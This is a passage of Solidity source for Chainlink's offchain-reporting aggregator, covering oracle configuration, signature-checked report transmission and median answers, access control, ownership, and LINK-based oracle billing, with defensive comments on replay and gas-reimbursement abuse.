but only // 64 bits against collisions. This is acceptable, since a malicious owner has // easier way of messing up the protocol than to find hash collisions. bytes16 latestConfigDigest; uint40 latestEpochAndRound; // 32 most sig bits for epoch, 8 least sig bits for round // Current bound assumed on number of faulty/dishonest oracles participating // in the protocol, this value is referred to as f in the design uint8 threshold; // Chainlink Aggregators expose a roundId to consumers. The offchain reporting // protocol does not use this id anywhere. We increment it whenever a new // transmission is made to provide callers with contiguous ids for successive // reports. uint32 latestAggregatorRoundId; } HotVars internal s_hotVars; // Transmission records the median answer from the transmit transaction at // time timestamp struct Transmission { int192 answer; // 192 bits ought to be enough for anyone uint64 timestamp; } mapping(uint32 /* aggregator round ID */ => Transmission) internal s_transmissions; // incremented each time a new config is posted. This count is incorporated // into the config digest, to prevent replay attacks. uint32 internal s_configCount; uint32 internal s_latestConfigBlockNumber; // makes it easier for offchain systems // to extract config from logs. // Lowest answer the system is allowed to report in response to transmissions int192 immutable public minAnswer; // Highest answer the system is allowed to report in response to transmissions int192 immutable public maxAnswer; /* * @param _maximumGasPrice highest gas price for which transmitter will be compensated * @param _reasonableGasPrice transmitter will receive reward for gas prices under this value * @param _microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units * @param _linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units * @param _linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units * @param _link address of the LINK contract * @param _minAnswer lowest answer the median of a report is allowed to be * @param _maxAnswer highest answer the median of a report is allowed to be * @param _billingAccessController access controller for billing admin functions * @param _requesterAccessController access controller for requesting new rounds * @param _decimals answers are stored in fixed-point format, with this many digits of precision * @param _description short human-readable description of observable this contract's answers pertain to */ constructor( uint32 _maximumGasPrice, uint32 _reasonableGasPrice, uint32 _microLinkPerEth, uint32 _linkGweiPerObservation, uint32 _linkGweiPerTransmission, LinkTokenInterface _link, int192 _minAnswer, int192 _maxAnswer, AccessControllerInterface _billingAccessController, AccessControllerInterface _requesterAccessController, uint8 _decimals, string memory _description ) OffchainAggregatorBilling(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth, _linkGweiPerObservation, _linkGweiPerTransmission, _link, _billingAccessController ) { decimals = _decimals; s_description = _description; setRequesterAccessController(_requesterAccessController); setValidatorConfig(AggregatorValidatorInterface(0x0), 0); minAnswer = _minAnswer; maxAnswer = _maxAnswer; } /* * Versioning */ function typeAndVersion() external override pure virtual returns (string memory) { return "OffchainAggregator 3.0.0"; } /* * Config logic */ /** * @notice triggers a new run of the offchain reporting protocol * @param previousConfigBlockNumber block in which the previous config was set, to simplify historic analysis * @param configCount ordinal number of this config setting among all config settings over the life of this contract * @param signers ith element is address ith oracle uses to sign a report * @param transmitters ith element is address ith oracle uses to transmit a report via the transmit method * @param threshold maximum number of faulty/dishonest oracles the protocol can tolerate while still working correctly * @param encodedConfigVersion version of the serialization format used for "encoded" parameter * @param encoded serialized data used by oracles to configure their offchain operation */ event ConfigSet( uint32 previousConfigBlockNumber, uint64 configCount, address[] signers, address[] transmitters, uint8 threshold, uint64 encodedConfigVersion, bytes encoded ); // Reverts transaction if config args are invalid modifier checkConfigValid ( uint256 _numSigners, uint256 _numTransmitters, uint256 _threshold ) { require(_numSigners <= maxNumOracles, "too many signers"); require(_threshold > 0, "threshold must be positive"); require( _numSigners == _numTransmitters, "oracle addresses out of registration" ); require(_numSigners > 3*_threshold, "faulty-oracle threshold too high"); _; } /** * @notice sets offchain reporting protocol configuration incl. participating oracles * @param _signers addresses with which oracles sign the reports * @param _transmitters addresses oracles use to transmit the reports * @param _threshold number of faulty oracles the system can tolerate * @param _encodedConfigVersion version number for offchainEncoding schema * @param _encoded encoded off-chain oracle configuration */ function setConfig( address[] calldata _signers, address[] calldata _transmitters, uint8 _threshold, uint64 _encodedConfigVersion, bytes calldata _encoded ) external checkConfigValid(_signers.length, _transmitters.length, _threshold) onlyOwner() { while (s_signers.length != 0) { // remove any old signer/transmitter addresses uint lastIdx = s_signers.length - 1; address signer = s_signers[lastIdx]; address transmitter = s_transmitters[lastIdx]; payOracle(transmitter); delete s_oracles[signer]; delete s_oracles[transmitter]; s_signers.pop(); s_transmitters.pop(); } for (uint i = 0; i < _signers.length; i++) { // add new signer/transmitter addresses require( s_oracles[_signers[i]].role == Role.Unset, "repeated signer address" ); s_oracles[_signers[i]] = Oracle(uint8(i), Role.Signer); require(s_payees[_transmitters[i]] != address(0), "payee must be set"); require( s_oracles[_transmitters[i]].role == Role.Unset, "repeated transmitter address" ); s_oracles[_transmitters[i]] = Oracle(uint8(i), Role.Transmitter); s_signers.push(_signers[i]); s_transmitters.push(_transmitters[i]); } s_hotVars.threshold = _threshold; uint32 previousConfigBlockNumber = s_latestConfigBlockNumber; s_latestConfigBlockNumber = uint32(block.number); s_configCount += 1; uint64 configCount = s_configCount; { s_hotVars.latestConfigDigest = configDigestFromConfigData( address(this), configCount, _signers, _transmitters, _threshold, _encodedConfigVersion, _encoded ); s_hotVars.latestEpochAndRound = 0; } emit ConfigSet( previousConfigBlockNumber, configCount, _signers, _transmitters, _threshold, _encodedConfigVersion, _encoded ); } function configDigestFromConfigData( address _contractAddress, uint64 _configCount, address[] calldata _signers, address[] calldata _transmitters, uint8 _threshold, uint64 _encodedConfigVersion, bytes calldata _encodedConfig ) internal pure returns (bytes16) { return bytes16(keccak256(abi.encode(_contractAddress, _configCount, _signers, _transmitters, _threshold, _encodedConfigVersion, _encodedConfig ))); } /** * @notice information about current offchain reporting protocol configuration * @return configCount ordinal number of current config, out of all configs applied to this contract so far * @return blockNumber block at which this config was set * @return configDigest domain-separation tag for current config (see configDigestFromConfigData) */ function latestConfigDetails() external view returns ( uint32 configCount, uint32 blockNumber, bytes16 configDigest ) { return (s_configCount, s_latestConfigBlockNumber, s_hotVars.latestConfigDigest); } /** * @return list of addresses permitted to transmit reports to this contract * @dev The list will match the order used to specify the transmitter during setConfig */ function transmitters() external view returns(address[] memory) { return s_transmitters; } /* * On-chain validation logc */ // Configuration for validator struct ValidatorConfig { AggregatorValidatorInterface validator; uint32 gasLimit; } ValidatorConfig private s_validatorConfig; /** * @notice indicates that the validator configuration has been set * @param previousValidator previous validator contract * @param previousGasLimit previous gas limit for validate calls * @param currentValidator current validator contract * @param currentGasLimit current gas limit for validate calls */ event ValidatorConfigSet( AggregatorValidatorInterface indexed previousValidator, uint32 previousGasLimit, AggregatorValidatorInterface indexed currentValidator, uint32 currentGasLimit ); /** * @notice validator configuration * @return validator validator contract * @return gasLimit gas limit for validate calls */ function validatorConfig() external view returns (AggregatorValidatorInterface validator, uint32 gasLimit) { ValidatorConfig memory vc = s_validatorConfig; return (vc.validator, vc.gasLimit); } /** * @notice sets validator configuration * @dev set _newValidator to 0x0 to disable validate calls * @param _newValidator address of the new validator contract * @param _newGasLimit new gas limit for validate calls */ function setValidatorConfig(AggregatorValidatorInterface _newValidator, uint32 _newGasLimit) public onlyOwner() { ValidatorConfig memory previous = s_validatorConfig; if (previous.validator != _newValidator || previous.gasLimit != _newGasLimit) { s_validatorConfig = ValidatorConfig({ validator: _newValidator, gasLimit: _newGasLimit }); emit ValidatorConfigSet(previous.validator, previous.gasLimit, _newValidator, _newGasLimit); } } function validateAnswer( uint32 _aggregatorRoundId, int256 _answer ) private { ValidatorConfig memory vc = s_validatorConfig; if (address(vc.validator) == address(0)) { return; } uint32 prevAggregatorRoundId = _aggregatorRoundId - 1; int256 prevAggregatorRoundAnswer = s_transmissions[prevAggregatorRoundId].answer; // We do not want the validator to ever prevent reporting, so we limit its // gas usage and catch any errors that may arise. try vc.validator.validate{gas: vc.gasLimit}( prevAggregatorRoundId, prevAggregatorRoundAnswer, _aggregatorRoundId, _answer ) {} catch {} } /* * requestNewRound logic */ AccessControllerInterface internal s_requesterAccessController; /** * @notice emitted when a new requester access controller contract is set * @param old the address prior to the current setting * @param current the address of the new access controller contract */ event RequesterAccessControllerSet(AccessControllerInterface old, AccessControllerInterface current); /** * @notice emitted to immediately request a new round * @param requester the address of the requester * @param configDigest the latest transmission's configDigest * @param epoch the latest transmission's epoch * @param round the latest transmission's round */ event RoundRequested(address indexed requester, bytes16 configDigest, uint32 epoch, uint8 round); /** * @notice address of the requester access controller contract * @return requester access controller address */ function requesterAccessController() external view returns (AccessControllerInterface) { return s_requesterAccessController; } /** * @notice sets the requester access controller * @param _requesterAccessController designates the address of the new requester access controller */ function setRequesterAccessController(AccessControllerInterface _requesterAccessController) public onlyOwner() { AccessControllerInterface oldController = s_requesterAccessController; if (_requesterAccessController != oldController) { s_requesterAccessController = AccessControllerInterface(_requesterAccessController); emit RequesterAccessControllerSet(oldController, _requesterAccessController); } } /** * @notice immediately requests a new round * @return the aggregatorRoundId of the next round. Note: The report for this round may have been * transmitted (but not yet mined) *before* requestNewRound() was even called. There is *no* * guarantee of causality between the request and the report at aggregatorRoundId. */ function requestNewRound() external returns (uint80) { require(msg.sender == owner || s_requesterAccessController.hasAccess(msg.sender, msg.data), "Only owner&requester can call"); HotVars memory hotVars = s_hotVars; emit RoundRequested( msg.sender, hotVars.latestConfigDigest, uint32(s_hotVars.latestEpochAndRound >> 8), uint8(s_hotVars.latestEpochAndRound) ); return hotVars.latestAggregatorRoundId + 1; } /* * Transmission logic */ /** * @notice indicates that a new report was transmitted * @param aggregatorRoundId the round to which this report was assigned * @param answer median of the observations attached this report * @param transmitter address from which the report was transmitted * @param observations observations transmitted with this report * @param rawReportContext signature-replay-prevention domain-separation tag */ event NewTransmission( uint32 indexed aggregatorRoundId, int192 answer, address transmitter, int192[] observations, bytes observers, bytes32 rawReportContext ); // decodeReport is used to check that the solidity and go code are using the // same format. See TestOffchainAggregator.testDecodeReport and TestReportParsing function decodeReport(bytes memory _report) internal pure returns ( bytes32 rawReportContext, bytes32 rawObservers, int192[] memory observations ) { (rawReportContext, rawObservers, observations) = abi.decode(_report, (bytes32, bytes32, int192[])); } // Used to relieve stack pressure in transmit struct ReportData { HotVars hotVars; // Only read from storage once bytes observers; // ith element is the index of the ith observer int192[] observations; // ith element is the ith observation bytes vs; // jth element is the v component of the jth signature bytes32 rawReportContext; } /* * @notice details about the most recent report * @return configDigest domain separation tag for the latest report * @return epoch epoch in which the latest report was generated * @return round OCR round in which the latest report was generated * @return latestAnswer median value from latest report * @return latestTimestamp when the latest report was transmitted */ function latestTransmissionDetails() external view returns ( bytes16 configDigest, uint32 epoch, uint8 round, int192 latestAnswer, uint64 latestTimestamp ) { require(msg.sender == tx.origin, "Only callable by EOA"); return ( s_hotVars.latestConfigDigest, uint32(s_hotVars.latestEpochAndRound >> 8), uint8(s_hotVars.latestEpochAndRound), s_transmissions[s_hotVars.latestAggregatorRoundId].answer, s_transmissions[s_hotVars.latestAggregatorRoundId].timestamp ); } // The constant-length components of the msg.data sent to transmit. // See the "If we wanted to call sam" example on for example reasoning // https://solidity.readthedocs.io/en/v0.7.2/abi-spec.html uint16 private constant TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT = 4 + // function selector 32 + // word containing start location of abiencoded _report value 32 + // word containing location start of abiencoded _rs value 32 + // word containing start location of abiencoded _ss value 32 + // _rawVs value 32 + // word containing length of _report 32 + // word containing length _rs 32 + // word containing length of _ss 0; // placeholder function expectedMsgDataLength( bytes calldata _report, bytes32[] calldata _rs, bytes32[] calldata _ss ) private pure returns (uint256 length) { // calldata will never be big enough to make this overflow return uint256(TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT) + _report.length + // one byte pure entry in _report _rs.length * 32 + // 32 bytes per entry in _rs _ss.length * 32 + // 32 bytes per entry in _ss 0; // placeholder } /** * @notice transmit is called to post a new report to the contract * @param _report serialized report, which the signatures are signing. See parsing code below for format. The ith element of the observers component must be the index in s_signers of the address for the ith signature * @param _rs ith element is the R components of the ith signature on report. Must have at most maxNumOracles entries * @param _ss ith element is the S components of the ith signature on report. Must have at most maxNumOracles entries * @param _rawVs ith element is the the V component of the ith signature */ function transmit( // NOTE: If these parameters are changed, expectedMsgDataLength and/or // TRANSMIT_MSGDATA_CONSTANT_LENGTH_COMPONENT need to be changed accordingly bytes calldata _report, bytes32[] calldata _rs, bytes32[] calldata _ss, bytes32 _rawVs // signatures ) external { uint256 initialGas = gasleft(); // This line must come first // Make sure the transmit message-length matches the inputs. Otherwise, the // transmitter could append an arbitrarily long (up to gas-block limit) // string of 0 bytes, which we would reimburse at a rate of 16 gas/byte, but // which would only cost the transmitter 4 gas/byte. (Appendix G of the // yellow paper, p. 25, for G_txdatazero and EIP 2028 for G_txdatanonzero.) // This could amount to reimbursement profit of 36 million gas, given a 3MB // zero tail. require(msg.data.length == expectedMsgDataLength(_report, _rs, _ss), "transmit message too long"); ReportData memory r; // Relieves stack pressure { r.hotVars = s_hotVars; // cache read from storage bytes32 rawObservers; (r.rawReportContext, rawObservers, r.observations) = abi.decode( _report, (bytes32, bytes32, int192[]) ); // rawReportContext consists of: // 11-byte zero padding // 16-byte configDigest // 4-byte epoch // 1-byte round bytes16 configDigest = bytes16(r.rawReportContext << 88); require( r.hotVars.latestConfigDigest == configDigest, "configDigest mismatch" ); uint40 epochAndRound = uint40(uint256(r.rawReportContext)); // direct numerical comparison works here, because // // ((e,r) <= (e',r')) implies (epochAndRound <= epochAndRound') // // because alphabetic ordering implies e <= e', and if e = e', then r<=r', // so e*256+r <= e'*256+r', because r, r' < 256 require(r.hotVars.latestEpochAndRound < epochAndRound, "stale report"); require(_rs.length > r.hotVars.threshold, "not enough signatures"); require(_rs.length <= maxNumOracles, "too many signatures"); require(_ss.length == _rs.length, "signatures out of registration"); require(r.observations.length <= maxNumOracles, "num observations out of bounds"); require(r.observations.length > 2 * r.hotVars.threshold, "too few values to trust median"); // Copy signature parities in bytes32 _rawVs to bytes r.v r.vs = new bytes(_rs.length); for (uint8 i = 0; i < _rs.length; i++) { r.vs[i] = _rawVs[i]; } // Copy observer identities in bytes32 rawObservers to bytes r.observers r.observers = new bytes(r.observations.length); bool[maxNumOracles] memory seen; for (uint8 i = 0; i < r.observations.length; i++) { uint8 observerIdx = uint8(rawObservers[i]); require(!seen[observerIdx], "observer index repeated"); seen[observerIdx] = true; r.observers[i] = rawObservers[i]; } Oracle memory transmitter = s_oracles[msg.sender]; require( // Check that sender is authorized to report transmitter.role == Role.Transmitter && msg.sender == s_transmitters[transmitter.index], "unauthorized transmitter" ); // record epochAndRound here, so that we don't have to carry the local // variable in transmit. The change is reverted if something fails later. r.hotVars.latestEpochAndRound = epochAndRound; } { // Verify signatures attached to report bytes32 h = keccak256(_report); bool[maxNumOracles] memory signed; Oracle memory o; for (uint i = 0; i < _rs.length; i++) { address signer = ecrecover(h, uint8(r.vs[i])+27, _rs[i], _ss[i]); o = s_oracles[signer]; require(o.role == Role.Signer, "address not authorized to sign"); require(!signed[o.index], "non-unique signature"); signed[o.index] = true; } } { // Check the report contents, and record the result for (uint i = 0; i < r.observations.length - 1; i++) { bool inOrder = r.observations[i] <= r.observations[i+1]; require(inOrder, "observations not sorted"); } int192 median = r.observations[r.observations.length/2]; require(minAnswer <= median && median <= maxAnswer, "median is out of min-max range"); r.hotVars.latestAggregatorRoundId++; s_transmissions[r.hotVars.latestAggregatorRoundId] = Transmission(median, uint64(block.timestamp)); emit NewTransmission( r.hotVars.latestAggregatorRoundId, median, msg.sender, r.observations, r.observers, r.rawReportContext ); // Emit these for backwards compatability with offchain consumers // that only support legacy events emit NewRound( r.hotVars.latestAggregatorRoundId, address(0x0), // use zero address since we don't have anybody "starting" the round here block.timestamp ); emit AnswerUpdated( median, r.hotVars.latestAggregatorRoundId, block.timestamp ); validateAnswer(r.hotVars.latestAggregatorRoundId, median); } s_hotVars = r.hotVars; assert(initialGas < maxUint32); reimburseAndRewardOracles(uint32(initialGas), r.observers); } /* * v2 Aggregator interface */ /** * @notice median from the most recent report */ function latestAnswer() public override view virtual returns (int256) { return s_transmissions[s_hotVars.latestAggregatorRoundId].answer; } /** * @notice timestamp of block in which last report was transmitted */ function latestTimestamp() public override view virtual returns (uint256) { return s_transmissions[s_hotVars.latestAggregatorRoundId].timestamp; } /** * @notice Aggregator round (NOT OCR round) in which last report was transmitted */ function latestRound() public override view virtual returns (uint256) { return s_hotVars.latestAggregatorRoundId; } /** * @notice median of report from given aggregator round (NOT OCR round) * @param _roundId the aggregator round of the target report */ function getAnswer(uint256 _roundId) public override view virtual returns (int256) { if (_roundId > 0xFFFFFFFF) { return 0; } return s_transmissions[uint32(_roundId)].answer; } /** * @notice timestamp of block in which report from given aggregator round was transmitted * @param _roundId aggregator round (NOT OCR round) of target report */ function getTimestamp(uint256 _roundId) public override view virtual returns (uint256) { if (_roundId > 0xFFFFFFFF) { return 0; } return s_transmissions[uint32(_roundId)].timestamp; } /* * v3 Aggregator interface */ string constant private V3_NO_DATA_ERROR = "No data present"; /** * @return answers are stored in fixed-point format, with this many digits of precision */ uint8 immutable public override decimals; /** * @notice aggregator contract version */ uint256 constant public override version = 4; string internal s_description; /** * @notice human-readable description of observable this contract is reporting on */ function description() public override view virtual returns (string memory) { return s_description; } /** * @notice details for the given aggregator round * @param _roundId target aggregator round (NOT OCR round). Must fit in uint32 * @return roundId _roundId * @return answer median of report from given _roundId * @return startedAt timestamp of block in which report from given _roundId was transmitted * @return updatedAt timestamp of block in which report from given _roundId was transmitted * @return answeredInRound _roundId */ function getRoundData(uint80 _roundId) public override view virtual returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { require(_roundId <= 0xFFFFFFFF, V3_NO_DATA_ERROR); Transmission memory transmission = s_transmissions[uint32(_roundId)]; return ( _roundId, transmission.answer, transmission.timestamp, transmission.timestamp, _roundId ); } /** * @notice aggregator details for the most recently transmitted report * @return roundId aggregator round of latest report (NOT OCR round) * @return answer median of latest report * @return startedAt timestamp of block containing latest report * @return updatedAt timestamp of block containing latest report * @return answeredInRound aggregator round of latest report */ function latestRoundData() public override view virtual returns ( uint80 roundId, int256 answer, uint256 startedAt, uint256 updatedAt, uint80 answeredInRound ) { roundId = s_hotVars.latestAggregatorRoundId; // Skipped for compatability with existing FluxAggregator in which latestRoundData never reverts. // require(roundId != 0, V3_NO_DATA_ERROR); Transmission memory transmission = s_transmissions[uint32(roundId)]; return ( roundId, transmission.answer, transmission.timestamp, transmission.timestamp, roundId ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.1; import "./SimpleWriteAccessController.sol"; /** * @title SimpleReadAccessController * @notice Gives access to: * - any externally owned account (note that offchain actors can always read * any contract storage regardless of onchain access control measures, so this * does not weaken the access control while improving usability) * - accounts explicitly added to an access list * @dev SimpleReadAccessController is not suitable for access controlling writes * since it grants any externally owned account access! See * SimpleWriteAccessController for that. */ contract SimpleReadAccessController is SimpleWriteAccessController { /** * @notice Returns the access of an address * @param _user The address to query */ function hasAccess( address _user, bytes memory _calldata ) public view virtual override returns (bool) { return super.hasAccess(_user, _calldata) || _user == tx.origin; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AccessControllerInterface { function hasAccess(address user, bytes calldata data) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./AggregatorInterface.sol"; import "./AggregatorV3Interface.sol"; interface AggregatorV2V3Interface is AggregatorInterface, AggregatorV3Interface { } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; interface AggregatorValidatorInterface { function validate( uint256 previousRoundId, int256 previousAnswer, uint256 currentRoundId, int256 currentAnswer ) external returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.1; interface LinkTokenInterface { function allowance(address owner, address spender) external view returns (uint256 remaining); function approve(address spender, uint256 value) external returns (bool success); function balanceOf(address owner) external view returns (uint256 balance); function decimals() external view returns (uint8 decimalPlaces); function decreaseApproval(address spender, uint256 addedValue) external returns (bool success); function increaseApproval(address spender, uint256 subtractedValue) external; function name() external view returns (string memory tokenName); function symbol() external view returns (string memory tokenSymbol); function totalSupply() external view returns (uint256 totalTokensIssued); function transfer(address to, uint256 value) external returns (bool success); function transferAndCall(address to, uint256 value, bytes calldata data) external returns (bool success); function transferFrom(address from, address to, uint256 value) external returns (bool success); } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @title The Owned contract * @notice A contract with helpers for basic contract ownership. */ contract Owned { address payable public owner; address private pendingOwner; event OwnershipTransferRequested( address indexed from, address indexed to ); event OwnershipTransferred( address indexed from, address indexed to ); constructor() { owner = msg.sender; } /** * @dev Allows an owner to begin transferring ownership to a new address, * pending. */ function transferOwnership(address _to) external onlyOwner() { pendingOwner = _to; emit OwnershipTransferRequested(owner, _to); } /** * @dev Allows an ownership transfer to be completed by the recipient. */ function acceptOwnership() external { require(msg.sender == pendingOwner, "Must be proposed owner"); address oldOwner = owner; owner = msg.sender; pendingOwner = address(0); emit OwnershipTransferred(oldOwner, msg.sender); } /** * @dev Reverts if called by anyone other than the contract owner. */ modifier onlyOwner() { require(msg.sender == owner, "Only callable by owner"); _; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "./AccessControllerInterface.sol"; import "./LinkTokenInterface.sol"; import "./Owned.sol"; /** * @notice tracks administration of oracle-reward and gas-reimbursement parameters. * @dev * If you read or change this, be sure to read or adjust the comments. They * track the units of the values under consideration, and are crucial to * the readability of the operations it specifies. * @notice * Trust Model: * Nothing in this contract prevents a billing admin from setting insane * values for the billing parameters in setBilling. Oracles * participating in this contract should regularly check that the * parameters make sense. Similarly, the outstanding obligations of this * contract to the oracles can exceed the funds held by the contract. * Oracles participating in this contract should regularly check that it * holds sufficient funds and stop interacting with it if funding runs * out. * This still leaves oracles with some risk due to TOCTOU issues. * However, since the sums involved are pretty small (Ethereum * transactions aren't that expensive in the end) and an oracle would * likely stop participating in a contract it repeatedly lost money on, * this risk is deemed acceptable. Oracles should also regularly * withdraw any funds in the contract to prevent issues where the * contract becomes underfunded at a later time, and different oracles * are competing for the left-over funds. * Finally, note that any change to the set of oracles or to the billing * parameters will trigger payout of all oracles first (using the old * parameters), a billing admin cannot take away funds that are already * marked for payment. */ contract OffchainAggregatorBilling is Owned { // Maximum number of oracles the offchain reporting protocol is designed for uint256 constant internal maxNumOracles = 31; // Parameters for oracle payments struct Billing { // Highest compensated gas price, in ETH-gwei uints uint32 maximumGasPrice; // If gas price is less (in ETH-gwei units), transmitter gets half the savings uint32 reasonableGasPrice; // Pay transmitter back this much LINK per unit eth spent on gas // (1e-6LINK/ETH units) uint32 microLinkPerEth; // Fixed LINK reward for each observer, in LINK-gwei units uint32 linkGweiPerObservation; // Fixed reward for transmitter, in linkGweiPerObservation units uint32 linkGweiPerTransmission; } Billing internal s_billing; // We assume that the token contract is correct. This contract is not written // to handle misbehaving ERC20 tokens! LinkTokenInterface internal s_linkToken; AccessControllerInterface internal s_billingAccessController; // ith element is number of observation rewards due to ith process, plus one. // This is expected to saturate after an oracle has submitted 65,535 // observations, or about 65535/(3*24*20) = 45 days, given a transmission // every 3 minutes. // // This is always one greater than the actual value, so that when the value is // reset to zero, we don't end up with a zero value in storage (which would // result in a higher gas cost, the next time the value is incremented.) // Calculations using this variable need to take that offset into account. uint16[maxNumOracles] internal s_oracleObservationsCounts; // Addresses at which oracles want to receive payments, by transmitter address mapping (address /* transmitter */ => address /* payment address */) internal s_payees; // Payee addresses which must be approved by the owner mapping (address /* transmitter */ => address /* payment address */) internal s_proposedPayees; // LINK-wei-denominated reimbursements for gas used by transmitters. // // This is always one greater than the actual value, so that when the value is // reset to zero, we don't end up with a zero value in storage (which would // result in a higher gas cost, the next time the value is incremented.) // Calculations using this variable need to take that offset into account. // // Argument for overflow safety: // We have the following maximum intermediate values: // - 2**40 additions to this variable (epochAndRound is a uint40) // - 2**32 gas price in ethgwei/gas // - 1e9 ethwei/ethgwei // - 2**32 gas since the block gas limit is at ~20 million // - 2**32 (microlink/eth) // And we have 2**40 * 2**32 * 1e9 * 2**32 * 2**32 < 2**166 // (we also divide in some places, but that only makes the value smaller) // We can thus safely use uint256 intermediate values for the computation // updating this variable. uint256[maxNumOracles] internal s_gasReimbursementsLinkWei; // Used for s_oracles[a].role, where a is an address, to track the purpose // of the address, or to indicate that the address is unset. enum Role { // No oracle role has been set for address a Unset, // Signing address for the s_oracles[a].index'th oracle. I.e., report // signatures from this oracle should ecrecover back to address a. Signer, // Transmission address for the s_oracles[a].index'th oracle. I.e., if a // report is received by OffchainAggregator.transmit in which msg.sender is // a, it is attributed to the s_oracles[a].index'th oracle. Transmitter } struct Oracle { uint8 index; // Index of oracle in s_signers/s_transmitters Role role; // Role of the address which mapped to this struct } mapping (address /* signer OR transmitter address */ => Oracle) internal s_oracles; // s_signers contains the signing address of each oracle address[] internal s_signers; // s_transmitters contains the transmission address of each oracle, // i.e. the address the oracle actually sends transactions to the contract from address[] internal s_transmitters; uint256 constant private maxUint16 = (1 << 16) - 1; uint256 constant internal maxUint128 = (1 << 128) - 1; constructor( uint32 _maximumGasPrice, uint32 _reasonableGasPrice, uint32 _microLinkPerEth, uint32 _linkGweiPerObservation, uint32 _linkGweiPerTransmission, LinkTokenInterface _link, AccessControllerInterface _billingAccessController ) { setBillingInternal(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth, _linkGweiPerObservation, _linkGweiPerTransmission); s_linkToken = _link; emit LinkTokenSet(LinkTokenInterface(address(0)), _link); setBillingAccessControllerInternal(_billingAccessController); uint16[maxNumOracles] memory counts; // See s_oracleObservationsCounts docstring uint256[maxNumOracles] memory gas; // see s_gasReimbursementsLinkWei docstring for (uint8 i = 0; i < maxNumOracles; i++) { counts[i] = 1; gas[i] = 1; } s_oracleObservationsCounts = counts; s_gasReimbursementsLinkWei = gas; } /* * @notice emitted when the LINK token contract is set * @param _oldLinkToken the address of the old LINK token contract * @param _newLinkToken the address of the new LINK token contract */ event LinkTokenSet( LinkTokenInterface indexed _oldLinkToken, LinkTokenInterface indexed _newLinkToken ); /* * @notice sets the LINK token contract used for paying oracles * @param _linkToken the address of the LINK token contract * @param _recipient remaining funds from the previous token contract are transfered * here * @dev this function will return early (without an error) without changing any state * if _linkToken equals getLinkToken(). * @dev this will trigger a payout so that a malicious owner cannot take from oracles * what is already owed to them. * @dev we assume that the token contract is correct. This contract is not written * to handle misbehaving ERC20 tokens! */ function setLinkToken( LinkTokenInterface _linkToken, address _recipient ) external onlyOwner() { LinkTokenInterface oldLinkToken = s_linkToken; if (_linkToken == oldLinkToken) { // No change, nothing to be done return; } // call balanceOf as a sanity check on whether we're talking to a token // contract _linkToken.balanceOf(address(this)); // we break CEI here, but that's okay because we're dealing with a correct // token contract (by assumption). payOracles(); uint256 remainingBalance = oldLinkToken.balanceOf(address(this)); require(oldLinkToken.transfer(_recipient, remainingBalance), "transfer remaining funds failed"); s_linkToken = _linkToken; emit LinkTokenSet(oldLinkToken, _linkToken); } /* * @notice gets the LINK token contract used for paying oracles * @return linkToken the address of the LINK token contract */ function getLinkToken() external view returns(LinkTokenInterface linkToken) { return s_linkToken; } /** * @notice emitted when billing parameters are set * @param maximumGasPrice highest gas price for which transmitter will be compensated * @param reasonableGasPrice transmitter will receive reward for gas prices under this value * @param microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units * @param linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units * @param linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units */ event BillingSet( uint32 maximumGasPrice, uint32 reasonableGasPrice, uint32 microLinkPerEth, uint32 linkGweiPerObservation, uint32 linkGweiPerTransmission ); function setBillingInternal( uint32 _maximumGasPrice, uint32 _reasonableGasPrice, uint32 _microLinkPerEth, uint32 _linkGweiPerObservation, uint32 _linkGweiPerTransmission ) internal { s_billing = Billing(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth, _linkGweiPerObservation, _linkGweiPerTransmission); emit BillingSet(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth, _linkGweiPerObservation, _linkGweiPerTransmission); } /** * @notice sets billing parameters * @param _maximumGasPrice highest gas price for which transmitter will be compensated * @param _reasonableGasPrice transmitter will receive reward for gas prices under this value * @param _microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units * @param _linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units * @param _linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units * @dev access control provided by billingAccessController */ function setBilling( uint32 _maximumGasPrice, uint32 _reasonableGasPrice, uint32 _microLinkPerEth, uint32 _linkGweiPerObservation, uint32 _linkGweiPerTransmission ) external { AccessControllerInterface access = s_billingAccessController; require(msg.sender == owner || access.hasAccess(msg.sender, msg.data), "Only owner&billingAdmin can call"); payOracles(); setBillingInternal(_maximumGasPrice, _reasonableGasPrice, _microLinkPerEth, _linkGweiPerObservation, _linkGweiPerTransmission); } /** * @notice gets billing parameters * @param maximumGasPrice highest gas price for which transmitter will be compensated * @param reasonableGasPrice transmitter will receive reward for gas prices under this value * @param microLinkPerEth reimbursement per ETH of gas cost, in 1e-6LINK units * @param linkGweiPerObservation reward to oracle for contributing an observation to a successfully transmitted report, in 1e-9LINK units * @param linkGweiPerTransmission reward to transmitter of a successful report, in 1e-9LINK units */ function getBilling() external view returns ( uint32 maximumGasPrice, uint32 reasonableGasPrice, uint32 microLinkPerEth, uint32 linkGweiPerObservation, uint32 linkGweiPerTransmission ) { Billing memory billing = s_billing; return ( billing.maximumGasPrice, billing.reasonableGasPrice, billing.microLinkPerEth, billing.linkGweiPerObservation, billing.linkGweiPerTransmission ); } /** * @notice emitted when a new access-control contract is set * @param old the address prior to the current setting * @param current the address of the new access-control contract */ event BillingAccessControllerSet(AccessControllerInterface old, AccessControllerInterface current); function setBillingAccessControllerInternal(AccessControllerInterface _billingAccessController) internal { 